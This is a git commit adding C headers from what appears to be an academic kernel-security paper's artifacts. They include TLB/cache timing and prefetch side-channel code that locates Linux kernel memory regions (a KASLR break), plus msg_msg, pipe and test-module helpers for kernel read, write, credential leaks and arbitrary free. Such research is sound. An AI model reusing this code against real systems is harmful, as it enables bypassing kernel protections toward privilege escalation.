moved paper and artifacts

This commit is contained in:
twoneis 2025-02-19 17:58:57 +01:00
parent ab27c4cba8
commit 92bd09ec53
36 changed files with 0 additions and 0 deletions

View file

@ -0,0 +1,136 @@
#ifndef CACHEUTILS_H
#define CACHEUTILS_H
#ifndef HIDEMINMAX
#define MAX(X,Y) (((X) > (Y)) ? (X) : (Y))
#define MIN(X,Y) (((X) < (Y)) ? (X) : (Y))
#endif
void maccess(void *p) { asm volatile("movq (%0), %%rax\n" : : "c"(p) : "rax"); }
inline size_t rdtsc_nofence(void)
{
size_t a, d;
asm volatile ("rdtsc" : "=a" (a), "=d" (d));
a = (d<<32) | a;
return a;
}
inline size_t rdtsc(void)
{
size_t a, d;
asm volatile ("mfence");
asm volatile ("rdtsc" : "=a" (a), "=d" (d));
a = (d<<32) | a;
asm volatile ("mfence");
return a;
}
inline size_t rdtsc_cpuid_begin() {
size_t a, d;
asm volatile ("mfence\n\t"
"RDTSCP\n\t"
"mov %%rdx, %0\n\t"
"mov %%rax, %1\n\t"
"xor %%rax, %%rax\n\t"
"CPUID\n\t"
: "=r" (d), "=r" (a)
:
: "%rax", "%rbx", "%rcx", "%rdx");
a = (d<<32) | a;
return a;
}
inline size_t rdtsc_cpuid_end() {
size_t a, d;
asm volatile(
"xor %%rax, %%rax\n\t"
"CPUID\n\t"
"RDTSCP\n\t"
"mov %%rdx, %0\n\t"
"mov %%rax, %1\n\t"
"mfence\n\t"
: "=r" (d), "=r" (a)
:
: "%rax", "%rbx", "%rcx", "%rdx");
a = (d<<32) | a;
return a;
}
inline size_t rdtsc_begin(void)
{
size_t a, d;
asm volatile ("mfence");
asm volatile ("rdtsc" : "=a" (a), "=d" (d));
a = (d<<32) | a;
asm volatile ("lfence");
return a;
}
inline size_t rdtsc_end(void)
{
size_t a, d;
asm volatile ("lfence");
asm volatile ("rdtsc" : "=a" (a), "=d" (d));
a = (d<<32) | a;
asm volatile ("mfence");
return a;
}
inline void flush(__attribute__((unused))size_t p)
{
asm volatile (".intel_syntax noprefix");
asm volatile ("clflush qword ptr [%0]\n" : : "r" (p));
asm volatile (".att_syntax");
}
inline void prefetcht0(void* p)
{
asm volatile ("prefetcht0 (%0)" : : "r" (p));
}
inline void prefetcht1(void* p)
{
asm volatile ("prefetcht1 (%0)" : : "r" (p));
}
inline void prefetcht2(void* p)
{
asm volatile ("prefetcht2 (%0)" : : "r" (p));
}
inline void prefetchnta(void* p)
{
asm volatile ("prefetchnta (%0)" : : "r" (p));
}
// ---------------------------------------------------------------------------
inline void prefetch2(void* p)
{
asm volatile ("prefetchnta (%0)" : : "a" (p));
asm volatile ("prefetcht2 (%0)" : : "a" (p));
}
inline void prefetch(__attribute__((unused))size_t p)
{
asm volatile (".intel_syntax noprefix");
asm volatile ("prefetchnta qword ptr [%0]" : : "r" (p));
asm volatile ("prefetcht2 qword ptr [%0]" : : "r" (p));
asm volatile (".att_syntax");
}
inline void longnop(void)
{
asm volatile ("nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n"
"nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n"
"nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n"
"nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n"
"nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n"
"nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n"
"nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n"
"nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n");
}
#endif

View file

@ -0,0 +1,92 @@
#pragma once
#include "utils.h"
#include "cacheutils.h"
#include "tlb_flush.h"
#include <stdint.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <string.h>
#define IDENTITY_START 0xffff888000000000
#define IDENTITY_END 0xffffc87fffffffff
#define VMEMMAP_START 0xffff888800000000
#define VMEMMAP_END (0xfffff00000000000-(1ULL<<30))
size_t __vmemmap_leak(size_t tries, size_t *found)
{
size_t addr;
for (addr = VMEMMAP_END; addr > VMEMMAP_START; addr -= (1ULL << 30)) {
for (size_t i = 0; i < tries; ++i) {
*found = hit(addr, 4) && hit_accurate(addr, 30);
if (*found)
break;
}
if (*found)
break;
}
return addr;
}
size_t vmemmap_leak(size_t tries)
{
size_t found = 0;
return __vmemmap_leak(tries, &found);
}
size_t vmemmap_leak_found(size_t tries, size_t *found)
{
return __vmemmap_leak(tries, found);
}
size_t __dpm_leak(size_t tries, size_t *found)
{
size_t addr;
for (addr = IDENTITY_START; addr < IDENTITY_END; addr += (1ULL << 30)) {
for (size_t i = 0; i < tries; ++i) {
*found = hit(addr, 4) && hit_accurate(addr, 30);
if (*found)
break;
}
if (*found)
break;
}
return addr;
}
size_t dpm_leak(size_t tries)
{
size_t found = 0;
return __dpm_leak(tries, &found);
}
size_t dpm_leak_found(size_t tries, size_t *found)
{
return __dpm_leak(tries, found);
}
size_t __vmalloc_leak(size_t tries, size_t *found)
{
size_t addr;
size_t dpm_base = dpm_leak(tries);
// 128 GB after the dpm base
for (addr = dpm_base + (128ULL << 30); addr < VMEMMAP_END; addr += (1ULL << 30)) {
for (size_t i = 0; i < tries; ++i) {
*found = hit(addr, 4) && hit_accurate(addr, 30);
if (*found)
break;
}
if (*found)
break;
}
return addr;
}
size_t vmalloc_leak(size_t tries)
{
size_t found = 0;
return __vmalloc_leak(tries, &found);
}
size_t vmalloc_leak_found(size_t tries, size_t *found)
{
return __vmalloc_leak(tries, found);
}

View file

@ -0,0 +1,143 @@
#pragma once
#include <stdio.h>
#include <string.h>
#include <errno.h>
enum AnsiColor
{
Ansi_Red = 31,
Ansi_Green = 32,
Ansi_Yellow = 33,
Ansi_Blue = 34,
Ansi_Magenta = 35,
Ansi_Cyan = 36,
Ansi_White = 37,
};
size_t DEBUG = 0;
size_t INFO = 1;
size_t SUCCESS = 1;
size_t ERROR = 1;
#define DEBUG_NO_COLOR
#ifndef DEBUG_NO_COLOR
#define DEBUG_FORMAT_STRING "\033[1;%zum[%-1s]\033[0;39m "
#define PRINTF_INFO(x) DEBUG_FORMAT_STRING, debug_colors[x], debug_labels[x]
#define PRINTF_DEBUG(x) DEBUG_FORMAT_STRING "[%6d] ", debug_colors[x], debug_labels[x], gettid()
#else
#define DEBUG_FORMAT_STRING "[%-1s] "
#define PRINTF_INFO(x) DEBUG_FORMAT_STRING, debug_labels[x]
#define PRINTF_DEBUG(x) DEBUG_FORMAT_STRING "[%6d] ", debug_labels[x], gettid()
#endif
#define debug_debug(...) do { if (DEBUG) { printf(PRINTF_DEBUG(0)); printf(__VA_ARGS__); } } while (0)
#define debug_info(...) do { if (INFO) { printf(PRINTF_INFO(0)); printf(__VA_ARGS__); } } while (0)
#define debug_success(...) do { if (SUCCESS) { printf(PRINTF_INFO(1)); printf(__VA_ARGS__); } } while (0)
#define debug_error(...) do { if (ERROR) { printf(PRINTF_INFO(2)); printf(__VA_ARGS__); exit(-1); } } while (0)
#define debug_print(...) do { printf(PRINTF_INFO(0)); printf(__VA_ARGS__); } while (0)
// static int current_stage = 0;
// __attribute__((unused))static void next_stage(void)
// {
// current_stage++;
// }
static const char* debug_labels[] =
{
"*", "+", "!"
};
static const size_t debug_colors[] =
{
Ansi_Cyan, Ansi_Green, Ansi_Red
};
__attribute__((unused))static void hex_dump(size_t* addresses, size_t length)
{
for (size_t i = 0; i < length; ++i)
{
debug_info("0x%016lx\n", addresses[i]);
}
}
void wait_input(void)
{
debug_print("> ");
getchar();
}
#define MAX_TIME 4096
#define RATIO 2
#define MAX_TIME_VAL 128
void print_ptrs_times(size_t *ptrs, size_t *times, size_t size)
{
size_t max = 0;
size_t min = -1;
size_t adjusted_time;
for (size_t i = 0; i < size; ++i) {
if (times[i] > max && times[i] < 4000 + max)
max = times[i];
if (times[i] < min)
min = times[i];
}
for (size_t i = 0; i < size; ++i) {
adjusted_time = (times[i] - min) * MAX_TIME_VAL / max;
printf("% 5ld:% 7ld:%016zx:", i, times[i], ptrs[i]);
for (size_t j = 0; j < adjusted_time; ++j)
printf("#");
printf("\n");
}
}
void print_times(size_t *times, size_t size)
{
size_t max = 0;
size_t min = -1;
size_t adjusted_time;
for (size_t i = 0; i < size; ++i) {
if (times[i] > max && times[i] < 4000 + max)
max = times[i];
if (times[i] < min)
min = times[i];
}
for (size_t i = 0; i < size; ++i) {
adjusted_time = (times[i] - min) * MAX_TIME_VAL / max;
printf("% 5ld:% 7ld:", i, times[i]);
for (size_t j = 0; j < adjusted_time; ++j)
printf("#");
printf("\n");
}
}
void print_hist(size_t *times, size_t size)
{
size_t start_time = 0;
size_t end_time = MAX_TIME;
size_t hist[MAX_TIME];
memset(hist, 0, sizeof(hist));
for (size_t i = 0; i < size; ++i)
if (times[i]/RATIO < MAX_TIME)
++hist[times[i]/RATIO];
for (size_t i = 0; i < MAX_TIME; ++i) {
if (hist[i] > 3) {
start_time = i;
break;
}
}
for (ssize_t i = MAX_TIME; i >= 0; --i) {
if (hist[i] > 3) {
end_time = i;
break;
}
}
for (size_t i = start_time; i < end_time; ++i) {
printf("% 5ld:", i*RATIO);
for (size_t j = 0; j < hist[i]; ++j)
printf("#");
printf("\n");
}
}

View file

@ -0,0 +1,76 @@
#pragma once
#define LKM_ALLOC 100
#define LKM_FREE 101
#define LKM_READ 102
#define LKM_WRITE 103
#define LKM_ALLOC_LOCATION 104
#define LKM_DPM_TEST 105
#define LKM_ACCESS_PRIMITIVE 106
#define LKM_BPF_DPM_SPLIT 107
#define LKM_MSG_MSG_LEAK 108
#define LKM_DPM_LEAK 109
#define LKM_VIRTUAL_BASE_LEAK 110
#define LKM_STACK_LEAK 111
#define LKM_CODE_LEAK 112
#define LKM_VMEMMAP_LEAK 113
#define LKM_VMALLOC_BASE_LEAK 114
#define LKM_SEQ_FILE_LEAK 115
#define LKM_CRED_LEAK 116
#define LKM_FILE_LEAK 117
#define LKM_ARB_FREE 118
#define LKM_PIPE_BUFFER_LEAK 119
#define LKM_PAGETABLE_WALK 120
#define LKM_IS_4KB 121
typedef union {
struct write {
size_t kaddr;
size_t value;
} wr;
struct read {
size_t kaddr;
size_t uaddr;
} rd;
struct access_primitive {
size_t addr;
} ap;
struct dpm_split {
size_t size;
} dpms;
struct msg_msg_rd {
size_t uaddr;
size_t msqid;
size_t mtype;
} mrd;
struct dpm_rd {
size_t uaddr;
} drd;
struct alloc {
size_t id;
size_t size;
} al;
struct free {
size_t id;
} fr;
struct file_rd {
size_t fd;
size_t uaddr;
} frd;
struct pipe_buffer_rd {
size_t fd;
size_t uaddr;
size_t rdend;
} pbrd;
struct arb_free {
size_t kaddr;
} af;
struct pagetable_walk {
size_t uaddr;
size_t pgde;
size_t p4de;
size_t pude;
size_t pmde;
size_t pte;
} ptw;
} msg_t;

View file

@ -0,0 +1,66 @@
#pragma once
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <sys/ipc.h>
#include <sys/msg.h>
int make_queue(key_t key, int msgflg)
{
int result;
if ((result = msgget(key, msgflg)) == -1) {
perror("msgget");
exit(-1);
}
return result;
}
int cleanup_queue_no_err(key_t key)
{
return msgctl(key, IPC_RMID, 0);
}
int cleanup_queue(key_t key)
{
int result;
if ((result = msgctl(key, IPC_RMID, 0)) == -1) {
perror("msgctl");
exit(-1);
}
return result;
}
typedef struct {
long mtype;
char mtext[1];
} msg;
void send_msg(int msqid, void *msgp, size_t msgsz, int msgflg)
{
if (msgsnd(msqid, msgp, msgsz, msgflg) == -1) {
perror("msgsnd");
exit(-1);
}
return;
}
void send_msg_no_err(int msqid, void *msgp, size_t msgsz, int msgflg)
{
msgsnd(msqid, msgp, msgsz, msgflg);
}
ssize_t get_msg(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg)
{
ssize_t ret;
ret = msgrcv(msqid, msgp, msgsz, msgtyp, msgflg);
if (ret < 0) {
perror("msgrcv");
exit(-1);
}
return ret;
}
ssize_t get_msg_no_err(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg)
{
return msgrcv(msqid, msgp, msgsz, msgtyp, msgflg);
}

View file

@ -0,0 +1,57 @@
#pragma once
#define _PAGE_BIT_PRESENT 0 /* is present */
#define _PAGE_BIT_RW 1 /* writeable */
#define _PAGE_BIT_USER 2 /* userspace addressable */
#define _PAGE_BIT_PWT 3 /* page write through */
#define _PAGE_BIT_PCD 4 /* page cache disabled */
#define _PAGE_BIT_ACCESSED 5 /* was accessed (raised by CPU) */
#define _PAGE_BIT_DIRTY 6 /* was written to (raised by CPU) */
#define _PAGE_BIT_PSE 7 /* 4 MB (or 2MB) page */
#define _PAGE_BIT_PAT 7 /* on 4KB pages */
#define _PAGE_BIT_GLOBAL 8 /* Global TLB entry PPro+ */
#define _PAGE_BIT_SOFTW1 9 /* available for programmer */
#define _PAGE_BIT_SOFTW2 10 /* " */
#define _PAGE_BIT_SOFTW3 11 /* " */
#define _PAGE_BIT_PAT_LARGE 12 /* On 2MB or 1GB pages */
#define _PAGE_BIT_SOFTW4 58 /* available for programmer */
#define _PAGE_BIT_PKEY_BIT0 59 /* Protection Keys, bit 1/4 */
#define _PAGE_BIT_PKEY_BIT1 60 /* Protection Keys, bit 2/4 */
#define _PAGE_BIT_PKEY_BIT2 61 /* Protection Keys, bit 3/4 */
#define _PAGE_BIT_PKEY_BIT3 62 /* Protection Keys, bit 4/4 */
#define _PAGE_BIT_NX 63 /* No execute: only valid after cpuid check */
#define _PAGE_PRESENT (1ULL << _PAGE_BIT_PRESENT)
#define _PAGE_RW (1ULL << _PAGE_BIT_RW)
#define _PAGE_USER (1ULL << _PAGE_BIT_USER)
#define _PAGE_PWT (1ULL << _PAGE_BIT_PWT)
#define _PAGE_PCD (1ULL << _PAGE_BIT_PCD)
#define _PAGE_ACCESSED (1ULL << _PAGE_BIT_ACCESSED)
#define _PAGE_DIRTY (1ULL << _PAGE_BIT_DIRTY)
#define _PAGE_PSE (1ULL << _PAGE_BIT_PSE)
#define _PAGE_GLOBAL (1ULL << _PAGE_BIT_GLOBAL)
#define _PAGE_SOFTW1 (1ULL << _PAGE_BIT_SOFTW1)
#define _PAGE_SOFTW2 (1ULL << _PAGE_BIT_SOFTW2)
#define _PAGE_SOFTW3 (1ULL << _PAGE_BIT_SOFTW3)
#define _PAGE_PAT (1ULL << _PAGE_BIT_PAT)
#define _PAGE_PAT_LARGE (1ULL << _PAGE_BIT_PAT_LARGE)
#define _PAGE_SPECIAL (1ULL << _PAGE_BIT_SPECIAL)
#define _PAGE_CPA_TEST (1ULL << _PAGE_BIT_CPA_TEST)
#define _PAGE_PKEY_BIT0 (1ULL << _PAGE_BIT_PKEY_BIT0)
#define _PAGE_PKEY_BIT1 (1ULL << _PAGE_BIT_PKEY_BIT1)
#define _PAGE_PKEY_BIT2 (1ULL << _PAGE_BIT_PKEY_BIT2)
#define _PAGE_PKEY_BIT3 (1ULL << _PAGE_BIT_PKEY_BIT3)
#define _PAGE_NX (1ULL << _PAGE_BIT_NX)
#define __PP _PAGE_PRESENT
#define __RW _PAGE_RW
#define _USR _PAGE_USER
#define ___A _PAGE_ACCESSED
#define ___D _PAGE_DIRTY
#define ___G _PAGE_GLOBAL
#define __NX _PAGE_NX
#define _PAGE_TABLE (__PP|__RW|_USR|___A| 0|___D| 0| 0| 0)
#define PAGE_TABLE_LARGE (_PAGE_TABLE | _PAGE_PSE)
#define PTE (__PP|__RW|_USR|___A| 0|___D| 0| 0|__NX)

View file

@ -0,0 +1,56 @@
#pragma once
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <sys/ipc.h>
#include <sys/msg.h>
void alloc_pipes(int *pipefd, int flags)
{
int ret = pipe2(pipefd, flags);
if (ret < 0) {
perror("pipe2");
exit(-1);
}
}
void write_pipe(int fd, char *buf, size_t sz)
{
int ret = write(fd, buf, sz);
if (ret < 0) {
perror("write(pipes)");
exit(-1);
}
}
void resize_pipe(int fd, size_t nr_slots)
{
int ret = fcntl(fd, F_SETPIPE_SZ, nr_slots << 12);
if (ret < 0) {
perror("fcntl(fd, F_SETPIPE_SZ, nr_slots << 12)");
exit(-1);
}
}
int write_pipe_no_err(int fd, char *buf, size_t sz)
{
int ret = write(fd, buf, sz);
return ret;
}
void read_pipe(int fd, char *buf, size_t sz)
{
int ret = read(fd, buf, sz);
if (ret < 0) {
perror("read(pipes)");
exit(-1);
}
}
int read_pipe_no_err(int fd, char *buf, size_t sz)
{
int ret = read(fd, buf, sz);
return ret;
}

View file

@ -0,0 +1,331 @@
#ifndef TLB_FLUSH_H
#define TLB_FLUSH_H
#include <stdint.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>
#include "cacheutils.h"
#define INTEL_12TH_GEN
/**
* todo set this THRESHOLD depending on your system
*/
#if defined(INTEL_12TH_GEN)
unsigned THRESHOLD = 31;
unsigned THRESHOLD2 = 33;
#elif defined(INTEL_13TH_GEN)
unsigned THRESHOLD = 29;
unsigned THRESHOLD2 = 32;
#elif defined(INTEL_8TH_GEN)
unsigned THRESHOLD = 26;
unsigned THRESHOLD2 = 40;
#endif
#define PAGESIZE_4K 12
#define PAGESIZE_2M 21
#define HUGEPAGES 128
/**
* TLB settings
*/
#define STLB_HASHSIZE_4K 8
#define STLB_HASHSIZE_2M 8
#define DTLB_HASHSIZE_4K 4
#define DTLB_HASHSIZE_2M 3
#define STLB_WAYS_4K 12
#define STLB_WAYS_2M 8
#define DTLB_WAYS_4K 6
#define DTLB_WAYS_2M 4
#define STLB_HASHMASK_4K ((1 << STLB_HASHSIZE_4K) - 1)
#define STLB_HASHMASK_2M ((1 << STLB_HASHSIZE_2M) - 1)
#define DTLB_HASHMASK_4K ((1 << DTLB_HASHSIZE_4K) - 1)
#define DTLB_HASHMASK_2M ((1 << DTLB_HASHSIZE_2M) - 1)
#define STLB_SET_4K(addr) (((addr >> PAGESIZE_4K) ^ (addr >> (PAGESIZE_4K + STLB_HASHSIZE_4K))) & STLB_HASHMASK_4K)
#define STLB_SET_2M(addr) (((addr >> PAGESIZE_2M)) & STLB_HASHMASK_2M)
#define DTLB_SET_4K(addr) ((addr >> PAGESIZE_4K) & DTLB_HASHMASK_4K)
#define DTLB_SET_2M(addr) ((addr >> PAGESIZE_2M) & DTLB_HASHMASK_2M)
#define FLUSH_SET_SIZE ((1UL << (PAGESIZE_4K + STLB_HASHSIZE_4K * 2))) * 2 // 12bit page size + enough space for 14 bit xor
#define TLB_EVICTION_SIZE (1UL << (PAGESIZE_4K + 12)) // 12bit page size 4096 times to cover up to 3072 TLB entries
#define TIMER(x) rdtsc_##x
#define FLUSH_TLB_ALL flush_tlb_4k
#define FLUSH_TLB_T_4K flush_tlb_targeted_4k
#define FLUSH_TLB_T_2M flush_tlb_targeted_2M
#define TIMER_START TIMER(begin)
#define TIMER_END TIMER(end)
#define FLUSH_TLB_4K FLUSH_TLB_T_4K
#define FLUSH_TLB_2M FLUSH_TLB_T_2M
typedef enum
{
PAGE_4K,
PAGE_2M
} PageType;
uint8_t *flush_set;
uint8_t *flush_set_2M;
void init_tlb_flush(void)
{
flush_set = mmap(0, FLUSH_SET_SIZE, PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);
if (flush_set == MAP_FAILED) {
perror("mmap(flush_set)");
exit(-1);
}
if (posix_memalign((void **)&flush_set_2M, 1 << PAGESIZE_2M, (HUGEPAGES + 1) << PAGESIZE_2M) != 0) {
perror("mmap(flush_set_2M)");
exit(-1);
}
madvise(flush_set_2M, (HUGEPAGES + 1) << PAGESIZE_2M, MADV_HUGEPAGE);
for (unsigned i = 0; i < HUGEPAGES + 1; i++) {
flush_set_2M[i << PAGESIZE_2M] = 1;
// check the page is indeed huge
// check_huge_page(buf);
}
}
/**
* Flush 4k TLBs with up to 4k entries, doesn't flush L1 DTLB for 2M
*/
void flush_tlb_4k(__attribute__((unused)) size_t addr)
{
for (size_t _i = 0; _i < TLB_EVICTION_SIZE; _i += (1 << 12))
*(volatile char *)(flush_set + _i);
}
void flush_tlb_targeted_4k(size_t addr)
{
size_t stlb_set = STLB_SET_4K(addr);
size_t dtlb_set = DTLB_SET_4K(addr);
size_t flush_base = (size_t)flush_set;
flush_base = (((flush_base >> (PAGESIZE_4K + STLB_HASHSIZE_4K * 2))) << (PAGESIZE_4K + STLB_HASHSIZE_4K * 2)) + (1UL << (PAGESIZE_4K + STLB_HASHSIZE_4K * 2));
// dtlb
for (size_t i = 0; i < DTLB_WAYS_4K * 2; i++) {
size_t evict_addr = (flush_base + (dtlb_set << PAGESIZE_4K)) ^ (i << (PAGESIZE_4K + DTLB_HASHSIZE_4K));
// printf("base: %p, evict_addr: %lx, dset: %d, target dset: %d\n", flush_base, evict_addr, DTLB_SET_4K(evict_addr), DTLB_SET_4K(addr));
maccess((void *)evict_addr);
}
// stlb
for (size_t i = 0; i < STLB_WAYS_4K * 2; i++) {
size_t evict_addr = (flush_base + (stlb_set << PAGESIZE_4K)) ^ (((i << STLB_HASHSIZE_4K) + i) << PAGESIZE_4K);
// printf("base: %p, evict_addr: %lx, set: %d, target set: %d\n", flush_base, evict_addr, STLB_SET_4K(evict_addr), STLB_SET_4K(addr));
maccess((void *)evict_addr);
}
}
void flush_tlb_targeted_2M(size_t addr)
{
size_t stlb_set = STLB_SET_2M(addr);
// size_t dtlb_set = DTLB_SET_2M(addr);
size_t flush_base = (size_t)flush_set;
flush_base = (((flush_base >> (PAGESIZE_4K + STLB_HASHSIZE_4K * 2))) << (PAGESIZE_4K + STLB_HASHSIZE_4K * 2)) + (1UL << (PAGESIZE_4K + STLB_HASHSIZE_4K * 2));
// dtlb
for (size_t i = 0; i < HUGEPAGES; i++)
maccess((void *)(flush_set_2M + (i << PAGESIZE_2M)));
// stlb
for (size_t i = 0; i < STLB_WAYS_4K * 2; i++) {
size_t evict_addr = (flush_base + (stlb_set << PAGESIZE_4K)) ^ (((i << STLB_HASHSIZE_4K) + i) << PAGESIZE_4K);
// printf("base: %p, evict_addr: %lx, set: %d, target set: %d\n", flush_base, evict_addr, STLB_SET_4K(evict_addr), STLB_SET_4K(addr));
maccess((void *)evict_addr);
}
}
void flush_tlb_targeted(size_t addr, PageType type)
{
if (type == PAGE_4K)
flush_tlb_targeted_4k(addr);
else
flush_tlb_targeted_2M(addr);
}
/**
* Timed access
*/
size_t __attribute__((noinline, aligned(4096))) onlyreload(size_t addr)
{
size_t t = TIMER_START();
prefetch2((void *)addr);
// prefetcht0((void*)addr);
// prefetcht1((void*)addr);
// prefetcht2((void*)addr);
// prefetchnta((void*)addr);
return TIMER_END() - t;
}
size_t __attribute__((noinline, aligned(4096))) flushreload(size_t addr)
{
FLUSH_TLB_4K(addr);
size_t t = TIMER_START();
asm volatile("" ::: "memory");
// prefetcht0((void*)addr);
// prefetcht1((void*)addr);
// prefetcht2((void*)addr);
// prefetchnta((void*)addr);
prefetch2((void *)addr);
asm volatile("" ::: "memory");
return TIMER_END() - t;
}
size_t __attribute__((noinline, aligned(4096))) flushsysreload(size_t addr)
{
FLUSH_TLB_4K(addr);
syscall(-1);
size_t t = TIMER_START();
asm volatile("" ::: "memory");
// prefetcht0((void*)addr);
// prefetcht1((void*)addr);
// prefetcht2((void*)addr);
// prefetchnta((void*)addr);
prefetch2((void *)addr);
asm volatile("" ::: "memory");
return TIMER_END() - t;
}
#define HIST_SIZE_THRESHOLD 100
typedef struct DualThreshold_
{
unsigned lower;
unsigned upper;
} DualThreshold;
/**
* Autodetect a good threshold to distinguish mapped from unmapped pages
* best used via detect_threshold
*/
DualThreshold __attribute__((noinline, aligned(4096))) detect_threshold_single(size_t addr_mapped, size_t addr_unmapped)
{
const unsigned reps = 10000;
size_t time_m;
size_t time_um;
size_t hist_m[HIST_SIZE_THRESHOLD] = {0};
size_t hist_um[HIST_SIZE_THRESHOLD] = {0};
/* leaking */
for (size_t i = 0; i < reps; ++i) {
prefetch2((void *)addr_mapped);
asm volatile("lfence");
asm volatile("mfence");
time_m = onlyreload(addr_mapped);
time_um = onlyreload(addr_unmapped);
asm volatile("lfence");
asm volatile("mfence");
hist_m[MIN(HIST_SIZE_THRESHOLD - 2, time_m)]++;
hist_um[MIN(HIST_SIZE_THRESHOLD - 2, time_um)]++;
}
size_t sum[2] = {0};
unsigned max = 0;
unsigned threshold_i = 0;
unsigned limit1 = 0;
unsigned limit2 = 0;
for (size_t i = 0; i < HIST_SIZE_THRESHOLD; i += 2) {
sum[0] += hist_m[i];
sum[1] += hist_um[i];
if ((sum[0] - sum[1]) > max)
max = (sum[0] - sum[1]);
}
sum[0] = 0;
sum[1] = 0;
for (size_t i = 0; i < HIST_SIZE_THRESHOLD; i += 2) {
sum[0] += hist_m[i];
sum[1] += hist_um[i];
if (!limit1 && (sum[0] - sum[1]) >= 0.97 * max)
limit1 = i;
if (limit1 && !limit2 && (sum[0] - sum[1]) <= 0.97 * max) {
limit2 = i;
threshold_i = (limit1 + limit2) / 2;
threshold_i += threshold_i % 2;
}
}
DualThreshold t = {limit1, limit2};
return t;
}
/**
* Autodetect a good threshold to distinguish mapped from unmapped pages
* thresholds are inclusive, i.e use as <= Lower, >= Upper
*/
DualThreshold detect_threshold(size_t addr_mapped, size_t addr_unmapped, const unsigned reps)
{
size_t threshold_hist_lower[HIST_SIZE_THRESHOLD] = {0};
size_t threshold_hist_upper[HIST_SIZE_THRESHOLD] = {0};
// printf("Detecting mapped/unmapped threshold..\n");
// warmup
for (unsigned i = 0; i < 20; i++)
detect_threshold_single(addr_mapped, addr_unmapped);
for (unsigned i = 0; i < reps; i++) {
DualThreshold t = detect_threshold_single(addr_mapped, addr_unmapped);
threshold_hist_lower[t.lower]++;
threshold_hist_upper[t.upper]++;
}
unsigned threshold_l = 0;
unsigned threshold_l_i = 0;
unsigned threshold_u = 0;
unsigned threshold_u_i = 0;
for (size_t i = 0; i < HIST_SIZE_THRESHOLD; i += 2) {
if (threshold_hist_lower[i] > threshold_l) {
threshold_l = threshold_hist_lower[i];
threshold_l_i = i;
}
if (threshold_hist_upper[i] > threshold_u) {
threshold_u = threshold_hist_upper[i];
threshold_u_i = i;
}
}
DualThreshold t = {threshold_l_i, threshold_u_i};
return t;
}
int comp(const void *e1, const void *e2)
{
return *(size_t *)e1 > *(size_t *)e2;
}
size_t hit(size_t addr, size_t tries)
{
size_t time;
/* leaking */
prefetch2((void *)addr);
for (size_t i = 0; i < tries; ++i) {
time = onlyreload(addr);
if (time <= THRESHOLD)
return 1;
}
return 0;
}
size_t hit_accurate(size_t addr, size_t tries)
{
size_t time;
size_t times[tries];
/* leaking */
prefetch2((void *)addr);
for (size_t i = 0; i < tries; ++i) {
time = onlyreload(addr);
times[i] = time;
}
qsort(times, tries, sizeof(size_t), comp);
time = times[tries / 4];
return time <= THRESHOLD;
}
#endif

View file

@ -0,0 +1,485 @@
#pragma once
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include "lkm.h"
static int lkm_fd = -1;
void lkm_init(void)
{
lkm_fd = open("/dev/lkm", O_RDWR);
if (lkm_fd < 0) {
perror("open(/dev/lkm)");
_exit(-1);
}
}
size_t __lkm_read(size_t kaddr, size_t uaddr)
{
msg_t msg = {
.rd = {
.kaddr = kaddr,
.uaddr = uaddr,
}
};
if (lkm_fd < 0) {
printf("[!] lkm not init\n");
_exit(-1);
}
return ioctl(lkm_fd, LKM_READ, (size_t)&msg);
}
void lkm_read(size_t kaddr, size_t uaddr)
{
int ret = __lkm_read(kaddr, uaddr);
if (ret < 0) {
printf("[!] ret %d\n", ret);
_exit(-1);
}
}
size_t __lkm_write(size_t kaddr, size_t value)
{
msg_t msg = {
.wr = {
.kaddr = kaddr,
.value = value,
}
};
if (lkm_fd < 0) {
printf("[!] lkm not init\n");
_exit(-1);
}
return ioctl(lkm_fd, LKM_WRITE, (size_t)&msg);
}
void lkm_write(size_t kaddr, size_t value)
{
int ret = __lkm_write(kaddr, value);
if (ret < 0) {
printf("[!] ret %d\n", ret);
_exit(-1);
}
}
size_t __lkm_access_primitive(size_t addr)
{
msg_t msg = {
.ap = {
.addr = addr
}
};
if (lkm_fd < 0) {
printf("[!] lkm not init\n");
_exit(-1);
}
return ioctl(lkm_fd, LKM_ACCESS_PRIMITIVE, (size_t)&msg);
}
void lkm_access_primitive(size_t addr)
{
int ret = __lkm_access_primitive(addr);
if (ret < 0) {
printf("[!] ret %d\n", ret);
_exit(-1);
}
}
size_t __lkm_dpm_test(void)
{
msg_t msg;
if (lkm_fd < 0) {
printf("[!] lkm not init\n");
_exit(-1);
}
return ioctl(lkm_fd, LKM_DPM_TEST, (size_t)&msg);
}
void lkm_dpm_test(void)
{
int ret = __lkm_dpm_test();
if (ret < 0) {
printf("[!] ret %d\n", ret);
_exit(-1);
}
}
size_t __lkm_bpf_dpm_split(size_t size)
{
msg_t msg = {
.dpms = {
.size = size
}
};
if (lkm_fd < 0) {
printf("[!] lkm not init\n");
_exit(-1);
}
return ioctl(lkm_fd, LKM_BPF_DPM_SPLIT, (size_t)&msg);
}
void lkm_bpf_dpm_split(size_t size)
{
int ret = __lkm_bpf_dpm_split(size);
if (ret < 0) {
printf("[!] ret %d\n", ret);
_exit(-1);
}
}
int __lkm_msg_msg_leak(size_t uaddr, size_t msqid, size_t mtype)
{
msg_t msg = {
.mrd = {
.uaddr = uaddr,
.msqid = msqid,
.mtype = mtype,
}
};
if (lkm_fd < 0) {
printf("[!] lkm not init\n");
_exit(-1);
}
return ioctl(lkm_fd, LKM_MSG_MSG_LEAK, (unsigned long)&msg);
}
